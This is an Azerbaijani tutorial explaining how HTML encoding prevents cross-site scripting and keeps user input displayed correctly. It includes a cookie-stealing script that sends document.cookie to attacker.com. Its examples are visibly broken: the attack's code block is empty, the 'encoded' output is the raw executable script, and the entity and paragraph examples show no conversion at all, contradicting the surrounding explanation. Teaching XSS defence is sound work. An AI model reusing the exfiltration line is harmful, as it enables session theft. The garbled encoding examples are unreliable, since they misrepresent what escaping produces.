HTML kodlaması

Niyə HTML kodlaması ؟

HTML kodlaşdırması veb təhlükəsizliyinin təməl daşlarından biridir və veb tətbiqlərini müxtəlif hücumlardan qorumaqda mühüm rol oynayır. Bu proses, HTML-də xüsusi məna daşıyan simvolları onların HTML varlıqlarına çevirməyi nəzərdə tutur. Məsələn, "<" simvolu "<"-ə, ">" simvolu ">"-ə, və s. çevrilir. Bu sadə görünən çevrilmə əslində veb tətbiqlərinin təhlükəsizliyini qorumaqda çox böyük əhəmiyyət kəsb edir.

HTML kodlaşdırmasının əsas məqsədi, istifadəçi tərəfindən daxil edilən məlumatların veb səhifəsində düzgün şəkildə göstərilməsini təmin etmək və eyni zamanda zərərli kodların icrasının qarşısını almaqdır. Bunu daha yaxşı anlamaq üçün, HTML kodlaşdırmasının hansı təhlükəsizlik problemlərini həll etdiyinə və onun tətbiqinin nəticələrinə nəzər salmaq lazımdır.

Cross-Site Scripting (XSS) Hücumlarından Qorunma

HTML kodlaşdırmasının ən vacib rolu, Cross-Site Scripting (XSS) hücumlarının qarşısını almaqdır. XSS hücumları, zərərli kodların (adətən JavaScript) etibarlı bir veb saytına yerləşdirilməsi və istifadəçilərin brauzerlərində icra edilməsi ilə baş verir. Bu, hücum edən şəxsə istifadəçilərin cookie-lərini oğurlamağa, icazəsiz əməliyyatlar aparmağa və ya veb saytın görünüşünü dəyişdirməyə imkan verə bilər.

Təsəvvür edin ki, bir veb saytında istifadəçilərin şərhlərini yerləşdirmək üçün bir sahə var. Əgər bu sahəyə daxil edilən məlumatlar HTML kodlaşdırılmadan birbaşa veb səhifəsində göstərilsə, hücum edən şəxs zərərli JavaScript kodu daxil edə bilər. Məsələn, hücum edən şəxs aşağıdakı kodu daxil edə bilər:

```html

```

Bu kod, digər istifadəçilər şərhi görəndə onların cookie-lərini hücum edən şəxsin serverinə göndərəcək.

Ancaq, əgər veb saytı istifadəçinin daxil etdiyi məlumatları HTML kodlaşdırsa, yuxarıdakı kod aşağıdakı kimi göstəriləcək:

```html

<script>

// Zərərli JavaScript kodu

window.location = "http://attacker.com/steal_cookies.php?cookie=" + document.cookie;

</script>

```

Bu halda, brauzer kodu sadəcə mətn kimi göstərəcək və onu icra etməyəcək. Beləliklə, XSS hücumunun qarşısı alınmış olacaq.

Məlumatların Düzgün Göstərilməsi

HTML kodlaşdırması yalnız təhlükəsizlik üçün deyil, həm də məlumatların düzgün şəkildə göstərilməsi üçün vacibdir. HTML-də xüsusi məna daşıyan simvolların (məsələn, "<", ">", "&") düzgün şəkildə kodlaşdırılmaması, veb səhifəsinin görünüşünün pozulmasına və ya məlumatların yanlış şəkildə göstərilməsinə səbəb ola bilər.

Məsələn, əgər bir istifadəçi "

Salam

" mətnini bir sahəyə daxil etsə və bu məlumat HTML kodlaşdırılmadan birbaşa veb səhifəsində göstərilsə, brauzer bunu HTML etiketi kimi qəbul edəcək və "Salam" mətnini yeni bir paraqrafda göstərəcək. Ancaq, əgər məlumat HTML kodlaşdırılsa, "

Salam

" mətni "<p>Salam</p>" kimi göstəriləcək və brauzer bunu sadəcə mətn kimi qəbul edəcək.

HTML Kodlaşdırmasının Tətbiqi

HTML kodlaşdırması müxtəlif proqramlaşdırma dillərində və çərçivələrində mövcud olan funksiyalar və ya kitabxanalar vasitəsilə həyata keçirilə bilər. Məsələn, PHP-də `htmlspecialchars()` funksiyası, Python-da `html.escape()` funksiyası və JavaScript-də isə müxtəlif kitabxanalar (məsələn, DOMPurify) HTML kodlaşdırması üçün istifadə edilə bilər.

HTML kodlaşdırması tətbiq edilərkən, aşağıdakı məqamlara diqqət yetirmək vacibdir:

* Bütün istifadəçi tərəfindən daxil edilən məlumatlar kodlaşdırılmalıdır. Bu, formlardan, URL parametrlərindən və digər mənbələrdən gələn məlumatları əhatə edir.

* Məlumatlar yalnız veb səhifəsində göstərilməzdən əvvəl kodlaşdırılmalıdır. Məlumatların verilənlər bazasında və ya digər yerlərdə saxlanılarkən kodlaşdırılmasına ehtiyac yoxdur.

* Düzgün kodlaşdırma funksiyası istifadə edilməlidir. Bəzi kodlaşdırma funksiyaları yalnız müəyyən simvolları kodlaşdırır və bu, tam təhlükəsizlik təmin etməyə bilər.

Nəticə

HTML kodlaşdırması veb tətbiqlərinin təhlükəsizliyini qorumaqda əvəzolunmaz bir vasitədir. XSS hücumlarının qarşısını almaqla, məlumatların düzgün şəkildə göstərilməsini təmin etməklə və istifadəçi təcrübəsini yaxşılaşdırmaqla, HTML kodlaşdırması müasir veb inkişafının ayrılmaz bir hissəsidir. Veb tətbiqləri hazırlayan hər kəs HTML kodlaşdırmasının əhəmiyyətini anlamalı və onu düzgün şəkildə tətbiq etməlidir. Bu, veb tətbiqlərinin təhlükəsizliyini və etibarlılığını təmin etməyin ən vacib addımlarından biridir.